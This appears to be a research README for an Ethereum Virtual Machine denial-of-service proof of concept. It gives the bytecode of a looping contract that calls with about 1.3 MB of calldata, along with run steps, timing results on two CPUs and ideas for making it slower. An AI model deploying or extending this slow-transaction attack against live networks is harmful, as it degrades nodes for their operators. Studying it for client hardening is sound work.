calldata

Slow Execution due to Large Calldata

The goal is to make EVM execution slow by forcing a large amount of memory to be allocated.

Approach

A single contract is used:

Contract a:

while true:
   call 0xdeadbeef with all available gas and 1305700 bytes of calldata

This is the resulting genesis alloc:

{
 "0x000000000000000000000000000000000000ff0a": {
  "code": "0x58805b816213ec648163deadbeef5afa600256",
  "balance": "0xffffffff"
 }
}

How to run

• docker run --rm -ti -v $PWD:/shared golang
• cd /shared/examples/calldata/
• go get
• go build
• ./calldata

Results

For Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz: (Developer Laptop)

Time elapsed: 2.059193582s
Time elapsed: 1.953459532s

For Intel Xeon Processor (Skylake, IBRS): (Cloud Node)

Time elapsed: 7.450188226s
Time elapsed: 7.377772728s

CPU Profile

Here is a CPU profile of the execution for Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz:

Here is a CPU profile of the execution for Intel Xeon Processor (Skylake, IBRS):

Possible extensions to increase execution time

• Unroll the loop to save ~1% gas
• Call a maximum-size contract starting with a STOP to force a large contract to be loaded
• Call different contracts (see previously described attack)

Conclusion

It is possible to create relatively slow transactions with large amounts of calldata.